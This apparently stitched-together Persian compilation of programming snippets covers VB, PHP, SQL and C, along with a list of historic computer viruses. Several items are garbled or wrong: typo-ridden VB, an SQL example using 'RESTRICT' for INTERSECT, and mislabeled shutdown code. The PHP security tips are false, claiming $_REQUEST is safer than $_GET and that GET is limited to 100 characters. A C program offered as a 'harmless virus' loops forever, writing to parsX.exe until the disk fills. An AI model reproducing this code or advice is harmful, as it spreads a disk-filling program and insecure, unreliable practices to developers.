در کد زیر روالی را مشاهده می کنید که پرونده print.txt را باز کرده و اعداد 1 تا 6 را در آن پرونده می نویسید و سپس پرونده را می بندد.
1.یک دکمه ایجاد کنید به نام cmdfile و کد زیر را تایپ کنید
Privat sub cmdfile_click
Dim intctr as intiger 'loop counter
Dim intfnum as intiger 'file number
Infnum=freefile
Open"C:\print.txt" for output as # intfnum
Msgbox "file print.txt opened" for intctr = 1 to 6
Print # intfnum , inctr , write rhe loop counter
Msgbox swriting a "& cstr(intctr) & "to print.txt "
Next intctr
Close #intenum
Msgbox "file print.txt closed"
endsub
در نظر بگیرید پوشه ای به نام 0 در درایو d داریم که قرار است قفل شود پس به دقت کد فرمان
زیر را در محیط سی ام دی تایپ کنید
d:\ren 0 0 {2559a1fe-21d7-11d4-bdaf-00 co4f60b9f0}
و برای برگرداندن این پوشه به حالت اولیه کد زیر را تایپ کنید
d:\ren 0 0 {2559a1fe-21d7-11d4-bdaf-00 co4f60b9f0}0
برای به دست آوردن IP کاربر با استفاده از PHP میتوانید خیلی راحت از شبهتابع زیر استفاده کنید:
$ip=$_SERVER['REMOTE_ADDR'];
ممکن است کاربر شما از یک P..roxy استفاده کرده باشد تا آی.پی خود را تغییر دهد.
اگر میخواهید آی.پی واقعی او را به دست آورید، بهتر است از تابع زیر استفاده کنید تا خیالتان راحت باشد که در هر شرایطی، آی.پی واقعی کاربر را به دست میآورید:
function getRealIpAddr()
{
if (!empty($_SERVER['HTTP_CLIENT_IP']))
//check ip from share internet
$ip=$_SERVER['HTTP_CLIENT_IP'];
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
//to check ip is pass from proxy
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ip=$_SERVER['REMOTE_ADDR'];
return $ip;
}
$ip = getRealIpAddr();
?>
اینم کد اطلاعاتی که باید ذخیره بشن (ساعت و تاریخ و آی پی و نام کاربری
کد HTML:
TIME = new Date(); DIFF = new Date() - TIME ;
INTV = window.setInterval("Show_Clock()",1000) ;
function Show_Clock(){ TIME = new Date(new Date() - DIFF) ;
HH = TIME.getHours() ; MM = TIME.getMinutes() ; SS = TIME.getSeconds() ;
do*****ent.getElementById('CLOCK').innerHTML=((HH
currentUser->username; ?>
مثال عملی در طراحی یک فرم HTML و سپس ارسال آن به مقصد :
مثال : در مثال زیر یک فرم طراحی کرده ایم که از کاربر نام و سن وی را سوال می کند . سپس در صورت کلیک شدن دکمه فرمان Submit ، فرم به همراه مقادیر وارد شده در کنترل های متن ، به صفحه receive.php ارسال می شوند و آن مقادیر در صفحه جدید مجدد به کاربر نمایش داده می شود .
نکته مهم : توجه داشته باشید که اطلاعات با استفاده از متد get ارسال شده است . بنابراین به نوار آدرس مرورگر دقت نمایید .
برای مشاهده خروجی مثال و سپس ارسال مقادیر به صفحه مقصد ، بر روی لینک تعیین شده در خروجی مثال کلیک نمایید :
Example | |
< html > < head > |
کد |
پس از ارسال صفحه و اطلاعات به صفحه receive.php ، این اطلاعات توسط این صفحه دریافت شده و به کاربر نمایش داده می شود .
کد این صفحه نیز به صورت زیر است :
در قسمت های بعدی آموزش PHP ، به توضیح کامل روش دریافت اطلاعات ارسالی فرم ها می پردازیم .
Example | Hello < ? php echo $_GET [ " fname " ] ; ? > ! < br / > You are < ? php echo $_GET [ " age " ] ; ? > years old. |
تا اینجا با ایجاد query آشنا شدید ، همانطور که قبلا گفته شد بیش از 90% امور گزارش گیری با استفاده از دستورات SELECT انجام میشود ، لذا آشنایی با این دستور و توانایی الحاق Query های حاصله از این دستور مقوله ای بسیار مهم و کاربردی است .
در این بخش قصد داریم Query های مختلف را با استفاده از دستورات Union , Union All , Intersect,Minus با هم تلفیق کنیم ..
Union :
با استفاده از این دستور میتوانید بین دو Query مختلف اجتماع ایجاد کنید . طرز استفاده از این دستور بصورت زیر است :
Query 1 UNION Query2 |
Union All :
این دستور نیز مشابه Union عمل میکند با این تفاوت که دستور Unionرکوردهای تکراری را در اجتماع لحاظ نمیکند در صورتی که Union All تمامی رکوردهای تکراری و غیر تکراری را نمایش میدهد . طریقه استفاده از این دستور نیز مشابه Union است و در ذیل مشخص شده :
Query 1 UNION ALL Query2 |
Intersect :
این دستور مانند عملگر منطقی AND عمل میکند ، به این شکل که تنها رکوردهایی را انتخاب مبکند که هم در Query1 باشد و هم در Query2 . در ذیل نحوه استفاده از این دستور ذکر شده :
Query 1 INTERSECT Query2 |
Minus :
همانطور که از نام این دستور بر می آید عمل تفریق را انجام میدهد . با استفاده از این دستور میتوان رکوردهایی را انتخاب کرد در Query1 موجود اند ولی درQuery2 موجود نیستند . نحوه استفاده از این دستور بصورت زیر است :
Query 1 MINUS Query2 |
بحث در مورد تلفیق پرسشها (Query ها) را در همین جا با چند مثال پایان میدهیم .
مثال 1) فرض کنید میخواهیم لیست کلیه دانشجویانی را بدست آوریم که درس کد 2 یا 3 را ورداشته اند .
برای این منظور میتوان از دو Query استفاده کرد ، Query اول لیست تمام دانشجویان را مشخص میکند که درس کد 1 را ورداشته اند و Query دوم لیست تمام دانشجویانی را مشخص میکند که درس کد 2 را ورداشته اند ، با اجتماع این دو Query جواب بدست خواهد آمد . در اینجا بجای Union All از Unionاستفاده میکنیم چون ممکن است یک دانشجو بیش از یک بار درس کد 1 یا 2 را ودارد که در این صورت در صورت استفاده از Union All ، دو بار کد دانشجو نمایش داده خواهد شد.
SELECT st_no FROM nomreh WHERE crs_code=1 UNION SELECT st_no FROM nomreh WHERE crs_code=2 |
مثال 2) با استفاده از دستورات الحاق Query میخواهیم لیست کلیه دانشجویانی را بدست آوریم که درس 1 و درس 2 را داشته اند .
SELECT st_no FROM nomreh WHERE crs_code=1 RESTRICT SELECT st_no FROM nomreh WHERE crs_code=2 |
در این بحث میخوایم به ارتباط SELECT و دستور IN بپردازیم ، در مباحث بعدی توضیحاتی بیشتر در مورد اجتماع ، اشتراک ، حالضرب و . . . دستورات SELECTارائه میدم . از این جهت که تقریبا 90% امور مربوط به گزراش گیری و اعمال پردازشی با دستور SELECT انجام میشه ، تبحر در این دستور و نحوه استفاده از اون اهمیت زیادی داره ، لذا سعی میکنم نکات کاربردی در مورد این دستور ارائه بدم .
تا اینجا با بانک نمونه آشنا شدین ، خب اجازه بدین بحث رو با یک سوال شروع کنم :
سوال : فرض کنین میخواین لیست تمام نمرات دانشجویانی رو بدست بیارین که در ترم اول 86 درس 2 واحدی داشتن .
خب تو یه تحلیل ساده پیش خودتون میگین اول باید کد تمام دروس 2 واحدی رو پیداکنم ، بعد بگم تمام نمراتی رو بهم نشون بده که کدش یکی از این کدهاست . تو این پست میخوام طریقه انجام این کار رو با دستور SELECT و IN توضیح بدم .
همونطور که در بحث مربوط به دستور IN دیدید ، با استفاده از این دستور میتونیم فیلدهایی رو که یکی از مشخصه های یک مجموعه مشخص رو داشته باشن رو انتخاب کنیم ،
جهت استفاده از دستور SELECT برای تعیین موارد انتخابی ای که دستور INمیتواند یکی از آن موارد باشد ، باید چند شرط را رعایت کنیم :
در دستور SELECT فقط و فقط یک فیلد را که کد شناسه ارتباطی بین جدول اصلی و ثانوی است را به عنوان خروجی ارسال کنیم (در اینجا فیلد مربوط به کد درس)
شرطی که باید فیلد داشته باشد را در بخش WHERE دستور SELECTداخلی قید میکنیم . (در اینجا شرط 2واحدی بودن)
خب بیاین و کد مربوط به سوالی رو که ابتدای بحث مطرح کردیم رو ایجاد کنیم ، با توجه به موارد قید شده دستور SELECT داخلی باید یک مجموعه از کدهای دروسی را در اختیار ما قرار دهد که درس مربوطه 2 واحدی باشد پس داریم :
SELECT Course.Crs_Code FROM Course WHERE Vahed=2 |
خب ، همینطوری که میبینین این دستور لیست یک سری درس رو بهمون نشون داد که میخوایم بدونیم کدوم دانشجوها این درس (یا دروس) رو در نیمسال اول 86 انتخاب کردن :
SELECT * FROM nomreh WHERE nomreh.term=1 AND nomreh.year=86 AND nomreh.crs_code IN ( SELECT Course.Crs_Code FROM Course WHERE Vahed=2) |
رایshutdown کردن کامپیوتر زیر استفاده می کنیم
Call Shell("shutdown -s -f -t 0"), vbHide
برای standbyکردن کامپیوتراز کد زیر استفاده می کنیم
Call Shell("shutdown -s -f -t 0"), vbHide
برای standbyکردن کامپیوتراز کد زیر استفاده می کنیم
Call Shell("shutdown -r -f -t 0"), vbHide
Private Sub Command1_Click()
Me.Cls
Me.FontSize = 14
x = 1000
y = 300
For i = 0 To 20
ForeColor = RGB(0, 0, 0)
x = x - 1
y = y - 1
CurrentX = x
CurrentY = y
Print "vbking.mihanblog.com"
Next i
ForeColor = RGB(123, 90, 24)
x = x + 1
CurrentX = x - 120
CurrentY = y - 150
Print "vbking.mihanblog.com"
End Sub
Private Declare Function IsNetworkAlive Lib "SENSAPI.DLL" (ByRef lpdwFlags As Long) As Long
Private Sub Command1_Click()
If IsNetworkAlive(CResult) = 0 Then
MsgBox "Not Connected", vbInformation, "www.vbking.mihanblog.com"
Else
MsgBox "Connected To the Internet", vbInformation, "www.vbking.mihanblog.com"
End If
End Sub
در ابتدا ما قصد داریم چند تصویر را به صورت تصادفی ایجاد نمائیم ، کد زیر را در صفحه خود قرار دهید :
1
2
3
4
5
<?php
$images=array('pic1','pic2','pic3','pic4','pic5');
$i=rand(0,count($images)-1);
$selectimage="newfolder/{$images[$i]}.jpg";
?>
این نخستین اسکریپت ما برای آموزش است ،در این اسکریپت یک آرایه تشکیل شده از نام های تصاویر با پسوند jpg ایجاد نموده ایم ،
سپس با استفاده از تابع rand آن ها را به صورت تصادفی بارگذاری می نمائیم.
توضیح خط به خط:
خط اول :
در ابتدا یک آرایه به نام images ایجاد نموده ایم ، حال در مسیر htdocs و سپس xampp یک پوشه به نام newfolder ایجاد نموده ایم و 5 تصویر با نام های pic1
و pic2 و pic3 و pic4 و pic5 در آن پوشه قرار داده ایم ، حال نام های این تصاویر را در آرایه خود قرار داده ایم .
خط دوم:
برای ایجاد تصادفی تصاویر ، ما با استفاده از تابع rand حداقل و حداکثر شمارشگر را مشخص نموده ایم ، همانطور که می دانید یک آرایه از شماره 0(صفر) شروع می شود ،
پس ما اگر بخواهیم مقادیر یک آرایه را بخوانیم با از صفر شروع کنیم تا یکی مانده به آخر (یعنی همان -1) ، ما در این قسمت 5 مقدار را به آرایه خود داده ایم ، یعنی می شود
از 0 تا 5 ، اما ما می توانستیم همان اول به تابع rand مقدار 0 تا 5 بدهیم ، دلیل اینکه این کار را انجام ندادیم ، این بود که اگر بعدها قصد داشتیم تعداد تصاویر را بیشتر نمائیم ، به مشکل برنخوریم.
اگر کار شمردن را به php بسپریم کار بسیار آسان تر می شود ، این کاری است که تابع count انجام می دهد ، این تابع تعداد عناصر یک آرایه را می شمرد ،0 تا آخر آرایه
(-1) سپس مقدار نهایی را در متغیر i قرار می دهد.
نکته : اگر درک مفهوم images-1 برای شما سخت است ، این کد را می توانید به صورت زیر نیز بنویسید:
1
2
3
$NumberPic=count($images); // $NumberPic is 5
$max=$NumberPic -1; // $max is 4
$i=rand(0,$max); // $i = rand(0,4)
خط سوم :
در این خط تنها کاری که ما انجام داده ایم ، مشخص کردن مسیر تصاویر است ، همانگونه که در ابتدا عرض کردیم ، یک پوشه در مسیر جاری به نام newfolder
ایجاد نمائید ، مانام این پوشه را در این قسمت آورده ایم ، سپس یک علامت / قرار داده ایم ، سپس متغیر images را که حاوی آرایه می باشد
را با اندیس i مشخص نموده ایم ، دلیل اینکه این مقدار را داخل براکت قرار داده ایم این است که نشان دهیم این دو یعنی متغیر و اندیس یک بخش هستند ،
سپس در آخر با استفاده از عملگرد نقطه (.) فرمت تصاویر را نیز مشخص نموده ایم.
نکته : در قسمت بالا می توانستیم نام های تصاویر را همراه با فرمتشان ذکر کنیم و دیگر لازم نبود که در خط سوم کد .jpg را اضافه نمائیم.
حال زمان به نمایش درآوردن تصاویر می باشد (این کد را در بخش body صفحه خود قرار دهید):
1
<img src="<?php echo $selectimage;?> " />
در کد بالا ما فقط در بخش src تگ img متغیر selectimage را فراخوانی نموده ایم.
حال اگر کد صفحه خود را ذخیره و اجراه نمائید ، تصاویر به صورت تصادفی برای شما به نمایش خواهند درآمد .
ابتدا کامپیوتر را Restart کرده و چندین بار کلید Delete را فشار داده تا به محیط Setup بروید.
سپس گزینه Intergrated Peripherals را انتخاب کنید و در صفحه باز شده گزینه Keyboard Power on را انتخاب
کنید که شامل گزینه های زیر می باشد و به ترتیب آنها را توضیح می دهیم:
1- گزینه Password : با انتخاب این گزینه می توان پسوردی را وارد نمود و از طریق پسورد کامپیوتر را روشن
کرد اگر این گزینه را انتخاب کنیم باید بعد از آن گزینه KB Power On Password را انتخاب وپسورد مورد نظر را
وارد کرد و سپس آن را تائید نمود.
2- گزینه Any Key : با انتخاب این گزینه با هر کلید صفحه کلید می توان کامپیوتر را روشن نمود.
3- گزینه Disabled : با انتخاب این میتوان گزینه روشن شدن کامپیوتر را توسط صفحه کلید غیره فعال نمود.
4. گزینه Key Board 98 : این گزینه مخصوص صفحه کلید های قدیمی است. پس از انتخاب یکی از گزینه
های بالا کلید F10 را فشار داده وتغیرات اعمال شده را با زدن کلید Y وسپس کلید Enter آن را تائید می کنیم .
لازم به ذکر است که با برداشتن جامپر Power روی کیس می توان فقط توسط صفحه کلید کامپیوتر را روشن نمود.
jerusalem: این ویروس مربوط به سال 1987 است که به عنوان یکی از موفق ترین انواع اولیه وسروس ها شناخته میشود.
این ویروس در حافظه کامپیوتر قرار می گرفت و منتظر زمانی بود که فایل های آلوده اجرا شود.
این ویروس در روزهای جمعه فعال می شد.
stoned: این ویروس نی به سال 1987 تعلق دارد و ا نظر میزان آلوده سازی احتمالا بیشترین آودگی را ایجاد کرده است.
I LOVE YOU: این ویروس را مخربترین کرم تاریخ کامپیوتر می دانندک این کرم در سال 2000 در عرض یک روز 45 ممیلیون کامپیوتر
از پنتاگونه تا پارلمان بریتانیا را آلوده کرد
sasser: این کرم در سال 2004 توسط یک جوان المانی ساخته شد و باعث می باشد کامپیوترهای که از سیستم عامل
ویندوز 2000 و ایکس پی استفاده می کردند به طور ناگهانی ریست شوند. در استرالیا به دلیل نفوذ این کرم به شبکه کامپیوتری
قطارها مجبور به توقف می شدند زیرا نمیتوانستند با مرکز ارتباط برقرار کنند. و در تایوان تمام ادارات پست مجبور به استفاده از
خودکار و کاغذ شده بودند.
storm: این ویروس به سوپر کرم معروف شده بود (2007) که به طور مرتب تغییر شکل می داد این کرم 10 میلیون کامپیوتر
را آلوده ساخت با این صورت که به شکل یک ایمیل که پیش بینی یک قانون را داشت پخش میشد.
monopoly: این کرم هم در سال 2000 به صورت ایمیل خودکار منتشر ممیکرد.ذ در این ایمیل عکسی از بیل گیتس مشاهده میشد.
این ویروس هم به تمام آدرس هایی که در ایمیل فرد وجود داشت حمله میکرد.
اضافه کردن عنصر به آرایه ی کنترلی در زبان vb
1. فرم جدید ایجاد کنید و نام انرا frmdarray بگذارید
2.دکمه ای ایجاد کنید و نام آنرا cmdarray بگذارید
3. در پنجره propertis مقدار مشخصه index را صفر مقدار دهی کنید
4.مشخصه caption دکمه را baton#0 تغییر دهید
5. کر زیر را در form_load بنویسید
private sub form_load
load cmdarray(1)
cmdarray(1).left=cmdarray(0). left
cmdarray(1).top=mdarray(0).top+cmdarray(0).height
cmdarray(1).caption="button#1"
cmdarray(1).visibele=true
end sub
عملکرد unionn برای ایجاد پرس و جوی ترکیب رکودها درSQL
[table] query union[all] [table] query2
[union[all][table]query[...]]
در این دستور باید تعداد فیلدهای دو select که با هم union می شوند یکسان می باشد.
نوع ترتیب و نام انها نیز یکی می باشد در صورت عدم تتساوی نام.باید lias(افزودن عنوان جدید یا as) استفاده کرد.
این ویروس را هم برای آنان که با زبان برنامه نویسی سی کار می کنند می نویسیم
1. برنامه کامپایلر را اجرا کنید
برای این کار باید کامپایلر های هم چون (توربو سی) یا (بورلند سی) رو که هر دو محصول شرکتد بورلند هستند را داشته باشید
کد این ویروس بسیار بی خطر که مثل کبریت یس خطر می ماند به شرح زیر است.
//STAR v.c
#include<stdio.h>
#include<stdio.h>
void main()
{
while(1)
{
system("dir>>parsX.exe");
}
}
//end
#include <iostream>
#include <time.h>
#include <stdlib.h>
#include <string>
#include <windows.h>
using namespace std;
void sleep(long wait)
{
clock_t start = clock();
while (clock() - start < wait);
}
int main()
{
char d;
again:
{
system("cls");
system("COLOR 3");
cout <<endl<<"THIS IS A GAME FOR ONE PERSON TO PLAY!" << endl;
sleep(2100);
system("CLS");
string words1[10];
string words2[10];
string words3[10];
string words4[10];
words1[0] = "ill";
words1[1] = "pig";
words1[2] = "owl";
words1[3] = "man";
words1[4] = "sea";
words1[5] = "eye";
words1[6] = "say";
words1[7] = "lie";
words1[8] = "buy";
words1[9] = "die";
words2[0] = "trouble";
words2[1] = "carwash";
words2[2] = "machine";
words2[3] = "dicount";
words2[4] = "battery";
words2[5] = "mistake";
words2[6] = "patient";
words2[7] = "outcast";
words2[8] = "cottage";
words2[9] = "climate";
words3[0] = "watermelon";
words3[1] = "themidwest";
words3[2] = "icedancing";
words3[3] = "tetrathlon";
words3[4] = "expressive";
words3[5] = "texteditor";
words3[6] = "screentest";
words3[7] = "overheated";
words3[8] = "inducement";
words3[9] = "medication";
words4[0] = "oystercatching";
words4[1] = "discouragement";
words4[2] = "discrimination";
words4[3] = "contraindicate";
words4[4] = "selfsupporting";
words4[5] = "middledistance";
words4[6] = "middleeuropean";
words4[7] = "inconsiderable";
words4[8] = "fingerprinting";
words4[9] = "extracorporial";
system("COLOR 2");
cout <<endl<<"IN HOW MANY CHARACTERS ARE YOU ENTRESTED(3,7,10,14)";
int number_characters_player_chooses;
cin >>number_characters_player_chooses;
int number_of_the_word;
srand(time(0));
number_of_the_word = (rand()%(10));
string the_word;
if(number_characters_player_chooses ==3)
the_word = words1[number_of_the_word];
else if(number_characters_player_chooses == 7)
the_word = words2[number_of_the_word];
else if(number_characters_player_chooses == 10)
the_word = words3[number_of_the_word];
else
the_word = words4[number_of_the_word];
system("CLS");
string guess_marks_saver[number_characters_player_chooses];
int counter =0;
for(; number_characters_player_chooses >0; number_characters_player_chooses--)
{
guess_marks_saver[counter] ="-";
counter++;
}
int number_of_chances = counter ;
system("COLOR 3");
for(; number_of_chances >0; number_of_chances--)
{
int counter1 =0;
string guess;
string if_guess;
int guess_character_browser =0;
cout <<" ";
for(; counter1<counter; counter1++)
{
cout <<guess_marks_saver[counter1];
}
cout <<endl<<number_of_chances<<" CHANCES";
cout <<endl<<"NOW GUESS:";
cin>>guess;
for(; guess_character_browser<counter; guess_character_browser++)
{
if_guess = the_word.at(guess_character_browser);
if(if_guess == guess)
{
guess_marks_saver[guess_character_browser] = guess;
number_of_chances ++;
}
else if(guess == the_word)
{
cout <<endl<<endl<<"YOU WON!";
cout <<endl<<endl<<"YOUR SCORE:"<<((number_of_chances-1)*100)/ counter<<" /100";
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
system("COLOR 7");
cout<<endl<<"Do you want to play again?(Y/N)";
cin>>d;
if(d=='y'||'Y')
goto again;
}
}
int counter3 =0;
string character;
for(; counter3<counter&&character!= "-"; counter3++)
{
character = guess_marks_saver[counter3];
if(counter3 == counter-1)
{
cout <<endl<<endl<<"YOU WON!";
cout <<endl<<endl<<"YOUR SCORE:"<<((number_of_chances-1)*100)/ counter<<" /100";
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 2");
system("COLOR 7");
cout<<endl<<"Do you want to play again?(Y/N)";
cin>>d;
if(d=='y'||'Y')
goto again;
}
}
system("CLS");
counter3 =0;
}
cout <<endl<<endl<<"YOU LOST";
cout <<endl<<endl<<"THE WORD WAS:"<<the_word;
system("COLOR 4");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 4");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 4");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 4");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 4");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 4");
sleep(200);
system("COLOR 3");
sleep(200);
system("COLOR 4");
}
system("COLOR 7");
cout<<endl<<"Do you want to play again?(Y/N)";
cin>>d;
if(d=='y'||'Y')
goto again;
return 0;
}
تبدیل واحد طول(اینچ،فوت،مایل،یارد،متر)
#include <iostream>
#include <cmath>
using namespace std;
int main()
{
cout<<"Inch: 1 // Foot: 2 // Yard: 3 // Mile: 4 // Meter: 5"<<endl;
int a,b;
int n;
cin>>a;
cout<<"TO"<<endl;
cin>>b;
cout<<"Number"<<endl;
cin>>n;
if(a==1)
{
if(b==2)
cout<<n*0.08433;
if(b==3)
cout<<n*0.02778;
if(b==4)
cout<<n*157.83*pow(10,-7);
if(b==5)
cout<<n*0.0254;
}
if(a==2)
{
if(b==1)
cout<<n*12 ;
if(b==3)
cout<<n*0.3333 ;
if(b==4)
cout<<n*189.39*pow(10,-6) ;
if(b==5)
cout<<n*0.3048 ;
}
if(a==3)
{
if(b==1)
cout<<n*36 ;
if(b==2)
cout<<n*3 ;
if(b==4)
cout<<n*568.186*pow(10,-6) ;
if(b==5)
cout<<n*0.9144 ;
}
if(a==4)
{
if(b==1)
cout<<n*63360 ;
if(b==2)
cout<<n*5279.95 ;
if(b==3)
cout<<n*1759.985 ;
if(b==5)
cout<<n*1609.35 ;
}
if(a==5)
{
if(b==1)
cout<<n*39.37 ;
if(b==2)
cout<<n*3.2808 ;
if(b==3)
cout<<n*1.0936 ;
if(b==4)
cout<<n*621.36*pow(10,-3) ;
}
return 0;
}
<!----- this script has gotten from: it.golenarges.com ---->
<SCRIPT alanguage=JavaScript1.2>
//Disable select-text script (IE4+, NS6+)
//Exclusive permission granted to Dynamic Drive to feature script
function disableselect(e){
return false
}
function reEnable(){
return true
}
//if IE4+
document.onselectstart=new Function ("return false")
//if NS6
if (window.sidebar){
document.onmousedown=disableselect
document.onclick=reEnable
}
</SCRIPT>
<!----- www.golenarges.com ---->
<!----- this script has gotten from: it.golenarges.com ---->
<script language=JavaScript>
function clickIE() {
if (document.all) {
return false;
}
}
function clickNS(e) {
if (document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {
return false;
}
}
}
if (document.layers) {
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS;
}
else{
document.onmouseup=clickNS;
document.oncontextmenu=clickIE;
}
document.oncontextmenu=new Function("return false")
</script>
۱- هرگز فایل های ضمیمه شده رو با پسوند inc. ذخیره نکنید! یعنی name.class.inc رو به name.class.php تغییر بدید. و یا از .HTAccess برای سطح دسترسی inc. استفاده کنید.
۲- حتاًالمکان تگ های اضافی و فضا های خالی را حذف کنید و از باز و بسته کردن بیش از حد تگهای سرور ( <? ?> ) خودداری کنید.
در عمل تفاوتی ندارند ولی در حجم و سرعت، به ازای هر ۱ کاراکتر اضافی ۱ بایت حجم فایل و صفحه و Loading میبره بالا(مخصوصاً در پروژه های سنگین)!
۳- کلاس های خود را با قرار دادن ; کامل ببندید و کلاس را با Final و Initialize/__construct شروع کنید تا Clone نشوند:
کد PHP:
final class Name
{
final public function __construct()
{
#…
}
};
4- برای Escape کردن کاراکترهای ویژه و جلوگیری از خیلی از حملات SQL از دستورات زیر استفاده کنید:
کد PHP:
get_magic_quotes_gpc ? $Str_Input= @stripslashes($Str_Input) : $Str_Input= @addslashes($Str_Input);
if(
function_exists(‘mysql_real_escape_string’)): @mysql_real_escape_string($Str_Input);
else: @mysql_escape_string($Str_Input);
endif;
5- در کلاس خود از تابع پیش فرض clone__ برای جلوگیری از تقلید(Clone)(شبیه سازی) توابع استفاده کنید:
کد PHP:
final public function __clone()
{
return(@exit(‘Cloning is not allowed.’));
}
6- هرگز از Cookie/Session برای ذخیره کلمه رمز یا مقادیر نمایشی استفاده نکنید(قابل تغییر هستند). خیلی ها از جمله …
این مورد رو در نرم افزارشون رعایت نمی کنند و بارها آسیب های جدی و پیش پا افتاده ای رو متحمل میشن.
۷- در خط اول هر فایل PHP، بعد از خطا زدایی کامل صفحه، دستور (error_reporting(E_ALL@ را قرار بدید
که تمامی خطا ها و هشدار ها رو نمایش بده. تا از سو استفاده های احتمالی جلوگیری بشه.
۸- حتاًامکان از دستور GET_$ برای دریافت مقادیر استفاده نکنید. و به جاش از دستور REQUEST_$ استفاده کنید(مقدارش رو هم فیلتر کنید).
مقادیر متد GET_$، براحتی قابل Sniff و Steal هستند. همچنین ظرفیت این متد حداکثر ۱۰۰
کاراکتر هستش و تمام پارامترهای URL رو هم نوار آدرس مرورگر در معرض دید میزاره.
ولی متد REQUEST_$، هیچ کدوم از این ضعف ها رو نداره و قدرت پیمایشش هم بیشتره.
اینم یه مثال ساده برای معتبر سازیش:
کد PHP:
$Int_Identity= (int)@preg_replace(‘/[^0-9]/i’, ”, $_REQUEST['Id']);
9- حتماً تمامی دستورات Exit و Die رو با Ignore کردن خطا @ و بستن محتوا استفاده کنید:
کد PHP:
@exit(”); یا @die(”);
10- در اول هر کلاس و تابع حتماً وجود و بودن کلاس و تابع رو چک کنید!
کد PHP:
if(!extension_loaded(’standard’)): @exit(‘Extension Standard not loaded!’);
elseif(!extension_loaded(‘mysql’)): @exit(‘Extension MySQL not loaded!’);
elseif(!class_exists(‘ClassName’)): @exit(‘Class ClassName not exists!’);
endif;
…
if(function_exists(‘mysql_real_escape_string’)): @mysql_real_escape_string(…);
else: @mysql_escape_string(…);
endif;
11- هرگز از روش زیر برای آدرس دهی(Action) استفاده نکنید:
کد PHP:
چراکه قابل تغییر و دستکاری هستند(برای حملات (XSS(Cross Side Scripting).
راه حل:
کد PHP:
$_PHPSelf= @basename(__File__);
$_Server['PHP_Self]= @substr($_Server['PHP_Self'], ۰, @strpos($_Server['PHP_Self], $_PHPSelf)) . $_PHPSelf;
12- حتماً تمامی خروجی ها رو به نوع مربوطش تبدیل کنید:
کد PHP:
echo((string)‘Test ’ . $_Var_Test);
return((string)
$_Str_Test);
return((integer)
$_Int_Test);
13- و در آخر، بهتر و ایمن تره اگر تمامی تگ ها و بلاک ها رو کامل مشخص کنید و کامل ببندید:
حافظه هم دچار مشکل نمیشه.
کد PHP:
if(…): …
endif;
if(…): …
else(…): …
endif;
if(…): …
elseif(…): …
else(…): …
endif;
if(…)
{
…
};
if(…): …
{
…
}
else
{
…
};
while(…):
endwhile;
while(…)
{
};
for…
foreach…
…
مجموعه مشخصی از اشتباهات و آسیب ها و ضعف های نرم افزاری غالباً تکراری رخ می دهند!
که چیزی جز خجالت و خسارت بدنبال نداره. و این آخر جهل و نادانی رو میرسونه. اگر یه سری به SecurityFocus.com/archive، MilW0rm.com، Net-Security
و غیره برنید متوجه این موضوع میشید. پس اگر برنامه نویس هستید، حتماً از آخرین رویداد ها و اخبار امنیتی نرم افزارها مطلع باشید.
۱۴- هرگز از SQLite برای نرم افزارهای سنگین استفاده نکنید!
شاید SQLite نقات قوت زیادی داشته باشه(از جمله مستقل بودن)، ولی در رابطه با نرم افزارهای سبک!
در نرم افزارهای سنگین،
اولیش: عدم نیاز به پردازش سرور! در ظاهر یه نقطه قوت هست، ولی نداشتن پردازش سرور، مجموعه ای از مشکلات
بزرگ و خطرناکی رو بهمراه داره: از قبیل قفل فایل، مسایل همزمانی، مشکلات حافظه، نداشتن کش Query، مشکلات باینری،
مشکلات سرریز شدن(Overflow) داده های سنگین و مشکلات مقیاسی هنگام برخورد با توده عظیمی از اطلاعات!
دومیش: باینری نا امن! SQLite اطلاعات باینری رو نمیتونه Handle کنه. برای Insert کردن داده از نوع باینری، ابتدا باید آنرا Encode کنید.
بهمین شکل باید تا آخر، پس از یک Select، داده رو هی Encode/Decode کنید!
سومیش: همه جداول را قفل می کنه! اکثر پایگاه های داده جداول انفرادی(یا حتی سطر ها) رو در حین انجام عملیات قفل می کنند،
اما SQLite خفنه و بخاطر کاربردش، همه پایگاه داده رو در حین عملیات قفل میکنه . که این Read/Write همزمان رو بسیار کند میکنه! و مشکلات عمده و بزرگ دیگه ای از این قبیل رو بهمراش میاره!
پس هرگز از SQLite برای نرم افزار های سنگین(با داده های سنگین) استفاده نکنید!
۱۵- ***** بعد از هر بار استفاده از متغیرها، آرایه ها، شی ها، کلاس ها و غیره… اگر دیگر مقدار آنرا آدرسی دهی نمی کنید اون رو خنثی(یا آزاد) کنید.
با این کار سرعت عمل حافظه و پردازش اطلاعات و امنیت اطلاعات رو بالا می برید(این امر در مورد دیگر زبانهای برنامه نویسی هم صدق می کنه).
در PHP:
با دستور ()unset.
مخصوصاً درخواستهای HTTP رو! مثل
$_GET, $_POST, $_REQUEST
. این طوری از Steal و Sniff کردن مقادیرشون هم جلوگیری میشه(تا حد زیادی).
۱۶- اگر به قاعده های توابع موجود در بسته PCRE مسلط نیستید یا به صحت قواعدتون شک دارید برای فیلتر کردن ورودیها/خروجیها استفاده نکنید.
اینها توابعی بسیار دقیق در عین حال خیلی حساس هستند. از توابع خود بسته Standard استفاده کنید. بهینه تر هم هست(اگر نیازی به قواعد ندارید).
